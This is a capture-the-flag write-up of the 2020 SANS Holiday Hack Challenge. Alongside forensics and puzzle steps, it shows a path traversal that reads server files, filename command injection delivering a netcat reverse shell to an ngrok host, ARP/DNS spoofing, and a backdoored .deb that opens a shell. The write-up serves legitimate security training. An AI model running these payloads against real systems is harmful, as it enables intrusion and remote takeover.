This page looks best with JavaScript enabled

KringleCon 3: Three French Hens

The 2020 SANS HolidayHack Challenge

 ·  ☕ 87 min read  ·  🎅 noobintheshell
The SANS Holiday Hack Challenge is back! And with it, the third edition of KringleCon!
This year’s challenges were a good mix of defensive and offensive skills. Topics varied from webapp hacking, crypto, log analysis, binary analysis to improving JS, regex and network skills. There were as well some simulated hardware challenges. The most challenging part was the analysis and recovery of a custom blockchain’s block that was stealthily altered.
KringleCon is as well an online security conference and you can find all the talks on KringleCon’s Youtube channel. This year was as well introduced a Discord channel that was really great to interact with the community.
Who wants to destroy the holiday season this year? Will Santa and his companions be able to stop the villain? I will let you discover it. Here is my write-up for all the challenges of this edition!
A special thanks goes to the whole Counter Hack team for their incredible work! That was a blast!

Prologue


The adventure starts not far from Santa’s new castle. We are welcomed by Jingle Ringford who proposes us a gondola ride to Santa’s castle!

Staging area
Staging area

We unlock the first Objective as well as 2 hints to solve it:

  • Image Edit Tool - There are tools out there that could help Filter the Distortion that is this Twirl.
  • Twirl Area - Make sure you Lasso the correct twirly area.

Objectives

1 - Uncover Santa’s Gift List


Objective 1 description
Objective 1 description

The image on the billboard shows a document on Santa’s desk that has been twirled:

billboard image
billboard image

We can un-twirl it with the online tool that was proposed in the hints. We open the image and then start a trial and error exercise using the Filter > Distort > Twirl tool and the Lasso Select tool. The below selection coupled with a 360° twirl did the trick:

edited billboard image
edited billboard image

proxmark

We can talk back to the elf:

We can now board the gondola to meet Santa! This unlocks Objectives 2 to 5 and the first narrative:

narrative 1 of 7
narrative 1 of 7

At the castle entrance where we are first greeted by Jewel Loggins:

castle approach
castle approach

We meet as well Santa’s and the 3 French Hens: Pierre, Marie, and Jean-Claude:

Santa and the 3 French Hens
Santa and the 3 French Hens

2 - Investigate S3 Bucket


Objective 2 description
Objective 2 description

The terminal to investigate the S3 Bucket is next to Shinny Upatree in the Castle Approach area:

Objective 2 location
Objective 2 location

We access a terminal where we need to retrieve a file in a lost AWS S3 Bucket:

Can you help me? Santa has been experimenting with new wrapping technology, and we’ve run into a ribbon-curling nightmare! We store our essential data assets in the cloud, and what a joy it’s been! Except I don’t remember where, and the Wrapper3000 is on the fritz! Can you find the missing package, and unwrap it all the way?

Hints: Use the file command to identify a file type. You can also examine tool help using the man command. Search all man pages for a string such as a file extension using the apropos command.

We find a bucket_finder.rb script in our home folder with a short wordlist file:

kringlecastle
wrapper
santa

This is a Ruby script that can be used to discover unprotected buckets based on a custom wordlist. Its usage is pretty simple:

$ ./bucket_finder.rb wordlist

http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.comhttp://santa.s3.amazonaws.com/
Bucket found but access denied: santa

The default wordlist does not discover anything interesting. Let’s add some more words based on what we know so far:

package
wrapper3000

The same command shows now a hit for wrapper3000 and shows it contains a file called package:

$ ./bucket_finder.rb wordlist

http://s3.amazonaws.com/package
Bucket found but access denied: package
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
http://s3.amazonaws.com/wrapper3000/package

We can download it with:

$ ./bucket_finder.rb –download wordlist

A folder wrapper3000 is created that contains the package file:

$ cat package

UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PVM9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2thZ2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA

This looks like Base64 encoding. We can decode it with:

$ cat package | base64 -d

PK??��   package.txt.Z.xz.xxd.tar.bz2UT ��_��_ux �BZh91AY&SY�Kb�����d���/ ��^0Y�a�{S�3�4zC ښ �=C�?���#��h=M4!&&�y@h4m#��P4z�Hhz��6a��5@9�#< \�P��/Cbk��y�� ㇭O�t<h)[�sR)�/���Ӄ?�b�sEl�5���f�KH6��ܘ� .�<�y��{�-���^h�" ��ݮƇQ'�́s�&ֶsj 10�@+��K<��PU&{O��k� �5�x�&�p >���Z���x�/=g��y�(�²NF�;�E�b&�r�&C�݁���+�� ��F�"�4�G$Z����V8'��@���.�p�!���~PK??��  ?��package.txt.Z.xz.xxd.tar.bz2UT��_ux �PKb�elf@8d5e97ec58f3:~/bucket_fin

By looking at the first letters PK, we recognize the ZIP magic bytes! We can extract its content with:

$ cat package | base64 -d > package.zip && unzip package.zip

We get a weird file called: package.txt.Z.xz.xxd.tar.bz2. It seems to have been compressed and manipulated a few times. We can further decompress the file with:

$ bzip2 -d package.txt.Z.xz.xxd.tar.bz2
$ tar xvf package.txt.Z.xz.xxd.tar

Now we have a .xxd file. xxd is a command that creates a hex dump from a file. If we look at the content of the file, we see it is precisely that and that the first 6 bytes fd37 7a58 5a00 are the signature of the xz compression utility:

$ cat package.txt.Z.xz.xxd
00000000: fd37 7a58 5a00 0004 e6d6 b446 0200 2101 .7zXZ……F..!.
00000010: 1600 0000 742f e5a3 0100 2c1f 9d90 4ede ….t/….,…N.
00000020: c8a1 8306 0494 376c cae8 0041 054d 1910 ……7l…A.M..
00000030: 46e4 bc99 4327 4d19 8a06 d984 19f3 f08d F…C’M………
00000040: 1b10 45c2 0c44 a300 0000 0000 c929 dad6 ..E..D…….)..
00000050: 64ef da24 0001 452d 1e52 57e8 1fb6 f37d d..$..E-.RW….}
00000060: 0100 0000 0004 595a ……YZ

We can restore the xz archive and decompress it with:

$ xxd -r package.txt.Z.xz.xxd | xz -d > package.txt.Z

One last step! We decompress .Z file with the uncompress command and finally read the text file:

$ uncompress package.txt.Z && cat package.txt
North Pole: The Frostiest Place on Earth

The overall process can be done with the following one-liner:

$ cat package | base64 -d | zcat | bzip2 -d | tar xOvf - | xxd -r | xz -d | uncompress

package.txt.Z.xz.xxd
North Pole: The Frostiest Place on Earth

North Pole: The Frostiest Place on Earth

3 - Point-of-Sale Password Recovery


Objective 3 description
Objective 3 description

We enter the castle and meet Santa again:

Santa's present
Santa's present

One of the elves seems worried about Santa:

We continue to the Courtyard, through the Dining Room where we meet Jack Frost for the very first time:

Jack Frost
Jack Frost

He has a cryptic message for us:

Next to him, we find Sugarplum Mary and the Santa Shop:

Objective 3 location
Objective 3 location

We can download an offline version of Santa Shop which comes as an installer file santa-shop.exe. As per the hints we got from the Linux Primer challenge, we know it is an Electron application and that the password we are looking for must be stored in an ASAR file.

Electron is an open-source framework that can be used to create cross-platform applications based on JavaScript, HTML, and CSS. An ASAR (Atom Shell Archive Format) file is a TAR-like archive that concatenates files into a single one. Electron can read it without unpacking it. It usually contains all the application files.

Let’s install the application on a Windows 10 box and launch it:

Santa Point-of-Sale
Santa Point-of-Sale

The application is installed by default in the current user profile:

C:\Users\%user%\AppData\Local\Programs\santa-shop

The ASAR file location is:

C:\Users\%user%\AppData\Local\Programs\santa-shop\resources\app.asar

We can extract the contained files by following this procedure:

  1. install Node.js if not already done,
  2. from the command line, run npm install -g asar to install the asar package,
  3. go to the resources directory: cd C:\Users\<user>\AppData\Local\Programs\santa-shop\resources,
  4. create a folder where the files will be extracted: mkdir output,
  5. extract the files: asar extract app.asar output.

We get the following files:

Santa PoS application files
Santa PoS application files

The password is found at the top of main.js:

main.js snippet
main.js snippet

We can now access the (dummy) PoS:

Santa PoS user interface
Santa PoS user interface

Alternatively, we can get the ASAR file without a Windows box. As the installer is a self-extracting archive:

$ file santa-shop.exe
santa-shop.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

We can use tools like 7Zip to extract its content:

$ 7z x santa-shop.exe

We get the application uninstaller and a folder $PLUGINSDIR that contains some DLLs and another archive called app-64.7z. We can extract it to get the same files installed on Windows. The ASAR file is still in the resources folder.

santapass

4 - Operate the Santavator


Objective 4 description
Objective 4 description

The castle elevator seems buggy and needs some repair before we can use it.

Santavator location
Santavator location

Sparkle Redberry gives us some information about it:

We receive the Elevator Service Key and Ginger Breddle adds:

Once in the Santavator, we can access the panel where we see a missing button. We can’t go anywhere at the moment and this is shown by the buttons being all red:

Santavator panel
Santavator panel

If we open the panel, we see the Items we collected so far and a strange ray of light:

Santavator panel interior
Santavator panel interior

The items we have discovered so far are 2 Hex Nuts, the Broken Candycane and the Green Bulb. If we put the Green Bulb in the ray of light, the ray takes its color. With the help of the other items, we can divert the ray to hit the green bulb socket:

Santavator panel interior - green light ray
Santavator panel interior - green light ray

The green power light is now ON, and this gives us access to the Talks floor and the Lobby (where we are) as we can see from the bottom right note. This means that we need to find the Red Bulb to access the Workshop floor and the Roof (NetWars). If we have the 3 bulbs, we can access Santa’s office!

As soon as we access the KringleCon Talks floor, the Objective is validated. We meet then with Bow Ninecandle and again Jack Frost:

KringleCon Talks (2nd) floor
KringleCon Talks (2nd) floor

5 - Open HID Lock


Objective 5 description
Objective 5 description

The HID lock is located in the Workshop on floor 1.5 and in order to access the Workshop, we need to find the Red Bulb and the missing elevator button. After achieving the Speaker UNPrep challenge, we get access to the Speaker UNpreparedness Room where we find the button on the floor. The Red Bulb is found in the Talks Lobby on the floor as well.

We can now head to the Workshop floor. But we need first to activate the green and red power in the Santavator panel. Here is a way to do it:

Workshop access
Workshop access

We unlock the second narrative when we reach the 1.5 floor:

narrative 2 of 7
narrative 2 of 7

We find the Proxmark3 device that Bushy was mentioning on the floor of the Wrapping Room. This should help in opening the door protected by an HID lock:

HID lock
HID lock

Now, we need to find someone who wears a badge so that we can try to clone the signal. Let’s go by all the elves, open the Proxmark3 terminal (from the Items menu), run the command lf hid read or auto and see who is wearing a badge. The following elves respond:

[Noel Boetie - Wrapping Room]
#db# TAG ID: 2006e22f08 (6020) - Format Len: 26 bit - FC: 113 - Card: 6020
[Bow Ninecandle - Talks Lobby]
#db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023
[Spark Redberry - Castle Entry]
#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022
[Angel Candysalt - Great Room]
#db# TAG ID: 2006e22f31 (6040) - Format Len: 26 bit - FC: 113 - Card: 6040
[Holy Evergreen - Kitchen]
#db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024
[Shiny Upatree]
#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025

With this information, we get back to the HID lock. To impersonate a card, we can run the command lf hid sim -r <TAG_ID>. We try the TAG IDs one by one and open the door with Bow Ninecandle’s one:

badge impersonation
badge impersonation

We access a dark room and unlock the rest of the Objectives. We need to find the right path to navigate it and reach the light:

area ???
area ???

When we enter the light, we unlock the 3rd narrative:

Narrative 3 of 7
Narrative 3 of 7

We magically take the control of Santa through the painting offered to him and can now see the world through his eyes!

the new us!
the new us!

Seems like we are wearing a different badge now:

black badge
black badge

It gives us access to a new feature. We can now teleport instantly in any room of the castle:

teleport feature
teleport feature

Let’s talk to some of our dear elves who are all still suspicious about Santa:

Jack Frost still sounds suspicious:

Let’s go back to our own self by taking the hidden exit under the painting in the Castle Entry. Maybe we will need this power again later…

6 - Splunk Challenge


Objective 6 description
Objective 6 description

The Splunk terminal is located in the Great Room:

Objective 6 location
Objective 6 location

The elf tells us:

When we try to access the terminal we get the message:

The Splunk terminal is for Santa and select SOC elves only.

This is where Santa’s impersonation comes in. Let’s come back as Santa:

Like in last year’s edition, we access an instance of Splunk Enterprise where we have to answer some training questions that will lead us to finally answer the Objective question: “What is the name of the adversary group that Santa feared would attack KringleCon?”. We get as well some help from Santa’s SOC team through a chat:

KringleCastle SOC interface
KringleCastle SOC interface

This year’s dataset will include simulated attacks based on the MITREÂŽ ATT&CK Matrix for Enterprise. The simulation is done with Splunk Attack Range. Let’s answer the questions.

Alice Bluebird gives us some directions to start:

Question 1 hint
Question 1 hint

We can copy/paste Alice’s command into the search field to get the following indexes:

Splunk indexes
Splunk indexes

The index names txxxx correspond to the attack technique name. We can easily count that there are 13 main attack techniques simulated. We can as well output this value with:

| tstats count where index=t* by index
| rex field=index (?t\d+)
| stats dc(tech)

The rex command is used to extract a string based on a regex and the dc function counts distinct values.

Let’s look up the techniques used:

ID Technique
t1033 System Owner / User Discovery
t1057 Process Discovery
t1059.003 Command and Scripting Interpreter: Windows Command Shell
t1059.005 Command and Scripting Interpreter: Visual Basic
t1071.001 Application Layer Protocol: Web Protocols
t1082 System Information Discovery
t1105 Ingress Tool Transfer
t1106 Native API
t1123 Audio Capture
t1204.002 User Execution: Malicious File
t1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
t1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control
t1559.002 Inter-Process Communication: Dynamic Data Exchange
t1566.001 Phishing: Spearphishing Attachment

We can see that from the previous screenshot.

Alice says:

hint Q3
hint Q3

As we listed above, the System Information Discovery technique has the ID T1082. If we take a look at the Atomic Red Team repo, and go to the technique description, we can see the atomic tests that are performed and one of them can be used to retrieve the MachineGuid:

T1082 atomic test
T1082 atomic test
hint Q4
hint Q4

Splunk Attack Range keeps the details of the simulation in the attack index. We just need to search for the OSTAP keyword and take the oldest one. OSTAP is a family of JS malware used in certain attack campaigns as a downloader. We search for:

index=attack ostap
index=attack ostap
index=attack ostap

If we have a look at frgnca Github repository, we see a project called AudioDeviceCmdlets. We saw that the Audio Capture (T1123) technique was used as part of the simulation. If we have a look at this technique in Atomic Red Team repo, we see only 1 atomic test that uses a very specific commandlet:

T1123 atomic test
T1123 atomic test

We can filter the logs with:

index=t1123* WindowsAudioDevice-Powershell-Cmdlet EventCode=1

We get only 2 logs and the first one has a ProcessId of 3648:

index=t1123* WindowsAudioDevice-Powershell-Cmdlet EventCode=1
index=t1123* WindowsAudioDevice-Powershell-Cmdlet EventCode=1

Registry Run Keys are used in the technique T1547.001 and can be used to achieve persistence. We find the usage of a batch file in the 3rd Atomic test of T1547.001. The batch file can be found here.

hint Q7
hint Q7

Zeek is an open-source network analysis framework that we have seen in KringleCon 2. If we start with Alice’s search filter, we see that certificate serials and subjects are indexed fields. If we look at the existing subjects, we see that the top 1 is the Domain Controller we are looking for. We click on it to drill-down:

certificate Subjects
certificate Subjects

From the very first log we can get its certificate serial number:

DC certificate serial number
DC certificate serial number
hint challenge question
hint challenge question

This one does not seem related to Splunk. We need to decrypt Alice’s ciphertext. What we know from the hints is:

  • the ciphertext is encoded in Base64 to be “readable”,
  • the algorithm used may be RC4 (RFC 7465),
  • the key can be found in KringleCon 3 Splunk’s talk and is Santa’s fav phrase.

We get the encryption key at the very end of the Splunk’s talk:

key - Santa's fav phrase
key - Santa's fav phrase

We can use the CyberChef toolkit to decrypt the ciphertext as follows:

CyberChef
CyberChef
The Lollipop Guild

We unlock the Narrative 4 of 7:

narrative 4 of 7
narrative 4 of 7

7 - Solve the Sleigh’s CAN-D-BUS Problem


Objective 7 description
Objective 7 description

Santa’s sleigh is located on the Roof and only Santa can access it. So let’s transform again:

Objective 7 location
Objective 7 location

We access the CAN-D Bus of the sleigh and see that messages are overflowing even when the sleigh is not in use. When can START the sleigh and see the counter increase:

CAN-D Bus
CAN-D Bus

The goal is to filter out all the bad messages and only keep the valid ones triggered by the buttons and sliders we have on the left side. Let’s first block all the messages that are flowing with the following criteria:

block all messages
block all messages

Clicking the START button triggers the message 02A#00FF00 but the sleigh does not accelerate. The STOP button triggers 02A#0000FF. Like in the CAN-Bus Investigation challenge, the LOCK and UNLOCK button triggers respectively 19B#000000000000 and 19B#0000F0000000. Moving the Accelerator, Brake and Steering sliders do not seem to work. This means that they are probably using one of the ID we blocked.

After a few tries, we see that the sleigh speed generates the 244 ID. As soon as we remove the blocking rule, we can again start properly and accelerate. Let’s block only the noisy message 244#0000000000 instead. What we discover is that the message 244 data is the speed in hexadecimal. For instance, 244#00000003E8 indicates that the sleigh moves at 1000 RPM (Reindeer Per Minute).

The Stearing uses the message ID 019 and does not seem to be flooded so we do not need to filter this message at all.

The Brake uses the 080 message ID. Again, we can block the noisy value 080#000000. However, when we start breaking, we see that 2 messages are sent each second. The valid one has the Break value as data in hexadecimal. The malicious ones have a data value lower than zero.

This was not sufficient to make the sleigh work properly again. In the end, after a few other tries, we saw that all the data with zeros were legitimate. We are left with the doors and brake issues to solve. The necessary rules to exclude are:

exclusion rules
exclusion rules

8 - Broken Tag Generator


Objective 8 description
Objective 8 description

Again, only Santa can access this terminal and if we come back as him, Noel says:

Objective 8 location
Objective 8 location

We access a webapp that we can use to generate tags. We can play with the app and try all the features while going through a proxy like Burp to analyze each call.

https://tag-generator.kringlecastle.com
https://tag-generator.kringlecastle.com

Most of the tag creation is done client-side as well as the Save Tag feature used to download our tag. The client-side app logic is in /js/app.js. The only feature that calls a server endpoint is the upload function. It calls the upload endpoint as follows:

upload endpoint
upload endpoint

We get the new name of our image as a JSON object in the response:

[“09fef071-b2d4-4051-8854-f779176d8739.png”]

By doing some tests with the image file we quickly see that we can upload any kind of content as long as the filename ends with png or jpg. If we upload a file with another extension we get the following error:

upload of a PDF file
upload of a PDF file

The error message leaks the path to the server application /app/lib/app.rb, it is a Ruby application and we see as well that our file is first stored in the /tmp folder with a temporary name set by the server.

An endpoint discovery with wfuzz finds 2 additional endpoints:

$ wfuzz -w wordlists/big.txt –hc=403,404 https://tag-generator.kringlecastle.com/FUZZ
[…]
000000961: 302 0 L 0 W 0 Ch “clear”
000001947: 501 3 L 9 W 80 Ch “image”
000003398: 501 3 L 9 W 80 Ch “share”

The clear endpoint doesn’t do much. The image and share endpoints show the same error:

Error in /app/lib/app.rb: ID is missing!

If we try to add the id argument to the image endpoint we get an error 501 with an interesting error:

image endpoint error
image endpoint error

It looks for a file in the /tmp folder. Actually, we can retrieve the image we uploaded before by using its ID:

Let’s see if we can have a Directory Traversal/Arbitrary File Read vulnerability here by calling a system file:

curl https://tag-generator.kringlecastle.com/image?id=../etc/passwd
curl https://tag-generator.kringlecastle.com/image?id=../etc/passwd

Great! We can download the server source code as well as we know its path:

At this point, we could already validate the Objective as all we have to do is read the GREETZ environment variable. This can be easily achieved by reading the /proc/self/environ file that contains the environment variables of the current process:

$ curl https://tag-generator.kringlecastle.com/image?id=../proc/self/environ –output -
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=43b7c645315f
RUBY_MAJOR=2.7
RUBY_VERSION=2.7.0
RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343
GEM_HOME=/usr/local/bundle
BUNDLE_SILENCE_ROOT_WARNING=1
BUNDLE_APP_CONFIG=/usr/local/bundle
APP_HOME=/app
PORT=4141
HOST=0.0.0.0
GREETZ=JackFrostWasHere
HOME=/home/app
JackFrostWasHere

However, let’s still analyze the server source code (full code here). The code of the image endpoint shows why we are able to read the server’s files:

curl https://tag-generator.kringlecastle.com/image?id=../etc/passwd
curl https://tag-generator.kringlecastle.com/image?id=../etc/passwd

Apparently, Jack disabled the id validation that now allows all special characters.

The upload endpoint, calls the process_file() function where we see that on top of png and jpg files, ZIP archives are as well supported:

process_file() source code
process_file() source code

In the case of an image, the handle_image() function is called. It generates a random filename and starts a thread that will do a system call to execute convert to resize the image before storing it in the /tmp folder:

handle_image() source code
handle_image() source code

The convert binary is called with our filename as argument without being validated! We could potentially execute commands here if we had control over the filename. A file called ';ls #.png would execute ls as follows:

convert -resize 800x600\> -quality 75 ‘';ls #.png ‘/tmp/xxx’

Whatever is after the # will be seen as a comment. But, as we have seen previously, we do not have control over the filename here as the server renames it to a temporary filename after the upload.

The ZIP file handler, however, does not rename the files after extraction:

handle_zip() source code
handle_zip() source code

Again, Jack disabled the filename validation and as the files are not renamed before being stored in the /tmp folder, we have full control over the filenames, and therefore could achieve Remote Command Execution (RCE). As we won’t see the result of our commands, we can output it in a file and then download it. Let’s create the following dummy file to read the output of the env command and then ZIP it:

$ touch “';env>noob #.png”
$ zip archive.zip “';env>noob #.png”

We upload archive.zip and then download the noob file, which is found in the server’s default working directory /tmp:

remote code execution
remote code execution

Let’s go a step further now and try to have a shell on the server. Some characters like / are not allowed in filenames so we need to be careful with that. We can try a Netcat reverse shell by leveraging ngrok, a free service to tunnel the public traffic to localhost. We simply start it with ngrok tcp 1234 where 1234 is the local port. We get a temporary public endpoint and port to use:

ngrok
ngrok

Then our payload will be:

$ touch “';nc 0.tcp.ngrok.io 19686 -c bash #.png”
$ zip archive.zip “';nc 0.tcp.ngrok.io 19686 -c bash #.png”
$ nc -lnvp 1234 # start netcat listener on port 1234

We upload the ZIP…and we get a reverse shell as the user app!!

reverse shell
reverse shell

There is one last vulnerability that we can exploit. The upload feature is vulnerable to Zip Slip. We can craft an evil ZIP file that can add/overwrite any file on the system where the user app can write.

We can now move on to the next objective…Talking again to Noel shows he is happy but has some work to do:

We unlock a new narrative:

narrative 5 of 7
narrative 5 of 7

9 - ARP Shenanigans


Objective 9 description
Objective 9 description

Again, the terminal is only accessible to Santa.

Objective 9 location
Objective 9 location

We have access to 3 TMUX terminals to help in this task. One of them shows the following message:

welcome message
welcome message

After having completed the Scapy Present Packet Prepper challenge we got some interesting hints to help us achieve this objective. Let’s take them one by one:

Our IP address is 10.6.0.2 and we know from the hints that 10.6.6.35 may have been hit by a malware. When sniffing eth0 we mainly get ARP requests from the 10.6.6.35 that asks who has the 10.6.6.53:

tcpdump capture
tcpdump capture

To achieve ARP spoofing, we can use the given script /home/guest/scripts/arp_resp.py. Almost everything is ready, we only need to replace the SOME*HERE and 99999 values to match the protocol and then execute it:

We can have a look at this example to help. Let’s start with line 14. The Ethernet source is our own one that we can get with ifconfig or we can simply re-use the macaddr variable:

source MAC address
source MAC address

For the Ethernet destination, we need to capture the attacker packet with more details. This can be achieved by displaying the ARP table:

$ arp -a
arp_requester.guestnet0.kringlecastle.com (10.6.6.35) at 4c:24:57:ab:ed:84 [ether] on eth0

Line 14 becomes:

14
ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr)

For the ARP reply options (lines 16 to 21):

16
17
18
19
20
21
arp_response = ARP(pdst="4c:24:57:ab:ed:84")        
arp_response.op     = 2      # reply operation    
arp_response.plen   = 4      # protocol size
arp_response.hwlen  = 6      # hardware addresse size
arp_response.ptype  = 0x800  # protocol type IPv4
arp_response.hwtype = 1      # hardware protocol Ethernet

For the source and destinations addresses (lines 23 to 26):

23
24
25
26
arp_response.hwsrc = macaddr             # our Mac address
arp_response.psrc  = "10.6.6.53"         # the spoofed IP address
arp_response.hwdst = "4c:24:57:ab:ed:84" # attacker Mac address
arp_response.pdst  = "10.6.6.35"         # attacker IP address

We launch our modified script while capturing packets:

ARP spoofing
ARP spoofing

We see our spoofed ARP reply and the attacker sending a DNS query to our host to resolve the domain ftp.osuosl.org.

We are again helped for the DNS spoofing with the dns_resp.py script that we will need to complete:

The goal is to send a DNS response to the attacker resolving the domain name to our IP address to see what the malware will do next. We can get some help on the DNS protocol from this capture.

First, we need to change the IP address we are spoofing on line 11:

11
ipaddr_we_arp_spoofed = "10.6.6.53"

On lines 16 to 17, we need to set the right Ethernet/IP addresses. We have seen most of the values in the ARP spoofing part:

16
17
eth = Ether(src=macaddr, dst="4c:24:57:ab:ed:84")
ip  = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed)

Regarding the UDP layer on line 18, we need to capture the attacker source port that will be the destination port in the response. As the attacker packet is an argument of the function we can retrieve it with packet[UDP].sport. The source port is the DNS default port:

18
udp = UDP(dport=packet[UDP].sport, sport=53)

Finally, the DNS response will be on lines 19 to 21. We take most of the information from the DNS request:

19
20
21
22
23
24
25
26
dns = DNS(
  id = packet[DNS].id, \  # the DNS query ID
  qd = packet[DNS].qd, \  # the query domain
  aa = 1, \               # authoritative answer
  qr = 1, \               # 0 for a request and 1 for a response
                          # the domain name that resolves on our IP
  an = DNSRR(rrname=packet[DNS].qd.qname, rdata=ipaddr)
)

We can launch, in order, tcpdump -nni eth0, ./dns_resp.py &, that will wait until a DNS query is seen, and ./arp_resp.py. What we see is that after a successful ARP and DNS spoofing, an HTTP call (in green) is done on our host by the attacker:

DNS spoofing
DNS spoofing

Let’s start an HTTP listener to see the attacker’s request. This can be quickly done with Python: python3 -m http.server 80:

HTTP listener
HTTP listener

We have some .deb files available in /home/guest/debs. We can follow the given article to add a Netcat reverse shell to the .deb file.

First, we prepare our working environment, copy the Netcat package that we will use for the reverse shell and rename it as the package that the attacker is fetching:

$ mkdir /tmp/packing
$ cd /tmp/packing
$ cp /home/guest/debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb ./suriv_amd64.deb

We extract the package in the work directory:

$ dpkg -x suriv_amd64.deb work

We retrieve the control file from the package:

$ mkdir work/DEBIAN
$ ar -x suriv_amd64.deb
$ tar xf control.tar.xz ./control

We create the postinst script that will trigger the Netcat reverse shell to our host on port 1234:

$ echo -e ‘#!/bin/bash\nnc -e /bin/sh 10.6.0.2 1234’ > postinst

Then copy those files in the work/DEBIAN folder and build the new backdoored package that we rename with the right name:

$ mv control work/DEBIAN/
$ mv postinst work/DEBIAN/
$ chmod +x work/DEBIAN/postinst
$ dpkg-deb –build /tmp/packing/work/
$ mv work.deb suriv_amd64.deb

Now that the package is ready to be delivered to the attacker, we create the necessary folder tree in /tmp and copy our package there. Then we spawn our HTTP listener from the /tmp folder:

$ mkdir -p /tmp/pub/jfrost/backdoor
$ mv suriv_amd64.deb /tmp/pub/jfrost/backdoor
$ cd /tmp
$ python3 -m http.server 80

From another terminal pane, we spawn a Netcat listener with nc -lnvp 1234 and yet from the third terminal pane, we launch our two spoofing scripts as we did before. After a few second, we have a hit:

reverse shell
reverse shell

We are on the attacker host with his jfrost account! We find the needed file NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt in the root folder. You can read it here.

Tanta Kringle

We unlock the 6th narrative:

narrative 6 of 7
narrative 6 of 7

10 - Defeat Fingerprint Sensor


Objective 10 description
Objective 10 description

First of all, we need to activate the Santa’s Office floor. This is now possible as we found the last bulb and items on the Roof. Here is one possible solution to hit the three sockets with the right color:

Santavator completed
Santavator completed

We have now access to Santa’s Office…well…almost, as it is protected with a fingerprint:

Santavator fingerprint
Santavator fingerprint

Our avatar cannot access it…but we can as Santa. However, the goal is to access Santa’s Office without impersonating Santa. How to bypass that?

We can have a look at the Javascript code of the Santavator in app.js. By using the browser’s Developer Tools (see this article). We see that in order to access this floor we need 1) to power the button (what we just did) and 2) get the besanta token that we usually get when we impersonate Santa:

app.js snippet
app.js snippet

In the console, we can check the tokens we currently have and we are indeed missing the besanta one:

console
console

We simply add it to the list by using the JS console and the second check is passed :)

fingerprint bypass
fingerprint bypass

We can now reach Santa’s Office:

Santa's office
Santa's office

Tinsel is not happy though:

11a - Naughty/Nice List with Blockchain Investigation Part 1


Objective 11a description
Objective 11a description

This challenge can only be done as Santa.

Objective 11a location
Objective 11a location

Tinsel Upatree is waiting for us with a document on our desk:

The tools that we get will help in interacting with the blockchain.dat (the actual _Naughty/Nice _blockchain) we retrieve from Santa’s desk. We can as well have a look at this KringleCon 3 talk.

The naughty_nice.py Python script explains how the blockchain is constructed and how we can interact with it to read or verify blocks.

We can get some basic information on the blockchain as well as the details of the first block with the following code:

getting blockchain basic knowledge
getting blockchain basic knowledge

The output is:

blockchain stats and block example
blockchain stats and block example

We see that we have a partial blockchain that starts at index 128449 and ends at index 129996. A total of 1548 blocks. If we verify the blockchain as-is, it will fail as the genesis block (the first block) does not exist:

blockchain failed verification
blockchain failed verification

We have to set the initial previous_hash to the one of the first block we have at our disposal and that we saw earlier:

blockchain passed verification
blockchain passed verification

We can as well dump the embedded documents with the Block.dump_doc(doc_no) method. For the first block it would be:

1
bc.blocks[0].dump_doc(1)

We get the embedded PDF that looks like this:

128449.pdf
128449.pdf

Elf-on-the-shelf is the reporter and the number that follows is its RID in decimal value. We get to know that Banjamin has the PID 0803508ada0a5ebf.

Now that we have a fairly good understanding of the Naughty/Nice Blockchain structure, let’s answer the objective question.

The nonces are 64-bit values and are generated with the Python random function. What we saw in the Snowball Game, is that random uses the Marsene-Twister (MT19937) algorithm for the PRNG. The standard implementation generates 32-bit random numbers. So how is the Python implementation used to generate 64-bit random numbers?

We can have a look at the random module from the CPython Github repository. Its underlying implementation is done in C and can be found here. From the function _random_Random_getrandbits_impl we understand how random numbers bigger than 32-bit are generated:

https://github.com/python/cpython/blob/master/Modules/_randommodule.c
https://github.com/python/cpython/blob/master/Modules/_randommodule.c

